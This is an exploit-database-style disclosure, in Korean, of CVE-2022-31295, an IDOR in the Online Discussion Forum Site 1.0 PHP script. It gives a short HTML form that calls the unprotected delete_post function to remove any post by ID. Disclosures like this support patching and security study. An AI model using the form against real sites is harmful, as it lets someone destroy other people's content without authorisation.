CVE-2022-31295

온라인 토론 포럼 사이트 1.0 - IDOR / 모든 게시물 삭제

익스플로잇 타이틀: 온라인 토론 포럼 사이트 1.0 - IDOR / 모든 게시물 삭제

날짜: 2022-06-13

CVE: CVE-2022-31295

익스플로잇 작성자: Abdulaziz Saad (@b4zb0z)

공급업체 홈페이지: https://www.sourcecodester.com/

소프트웨어 링크: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

버전: 1.0

테스트 환경: LAMP, Ubuntu

[#] 취약점 위치: function delete_post()는 /odfs/classes/Maset.php:133에 위치

[#] 익스플로잇:

 <form action="http://localhost/odfs/classes/Master.php?f=delete_post" method="post" id="manage-user">	
				<input type="text" name="id" value="" placeholder="enter POST ID to delete" required>
                <button type="submit">Delete Post</button>
	</form>